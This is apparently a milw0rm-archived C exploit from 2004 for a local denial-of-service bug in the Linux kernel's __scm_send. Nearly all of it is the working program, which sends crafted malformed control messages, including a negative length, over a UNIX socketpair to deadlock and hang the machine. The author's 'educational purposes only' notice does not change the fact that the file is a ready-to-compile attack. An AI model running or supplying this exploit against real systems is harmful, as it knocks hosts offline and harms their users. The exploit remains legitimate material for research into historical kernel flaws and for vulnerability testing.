Linux Kernel <= 2.4.28 and <= 2.6.9 scm_send local DoS Exploit

/* * Linux kernel 2.4 & 2.6 __scm_send DoS * Warning! this code will hang your machine * * gcc -O2 scmbang.c -o scmbang * * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED &#34;AS IS&#34; * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * */ #define _GNU_SOURCE #include &#60;stdio.h&#62; #include &#60;errno.h&#62; #include &#60;sys/socket.h&#62; #include &#60;arpa/inet.h&#62; static char buf[1024]; void fatal (const char *msg) { printf (&#34;\n&#34;); if (!errno) { fprintf (stderr, &#34;FATAL: %s\n&#34;, msg); } else { perror (msg); } printf (&#34;\n&#34;); fflush (stdout); fflush (stderr); exit (1); } int main (void) { int s[2], r; struct sockaddr_in sin; struct msghdr *msg; struct cmsghdr *cmsg; r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s); if (r &#60; 0) fatal (&#34;socketpair&#34;); memset (buf, 0, sizeof (buf)); msg = (void *) buf; msg-&#62;msg_control = (void *) (msg + 1); // make bad cmsgs cmsg = (void *) msg-&#62;msg_control; cmsg-&#62;cmsg_len = sizeof (*cmsg); cmsg-&#62;cmsg_level = 0xdeadbebe; cmsg-&#62;cmsg_type = 12; // len after overflow on second msg cmsg++; // -12 for deadlock cmsg-&#62;cmsg_len = -12; cmsg-&#62;cmsg_level = SOL_IP; msg-&#62;msg_controllen = (unsigned) (cmsg + 1) - (unsigned) msg-&#62;msg_control; r = sendmsg (s[0], msg, 0); if (r &#60; 0) fatal (&#34;sendmsg&#34;); printf (&#34;\nYou lucky\n&#34;); fflush (stdout); return 0; } // milw0rm.com [2004-12-14]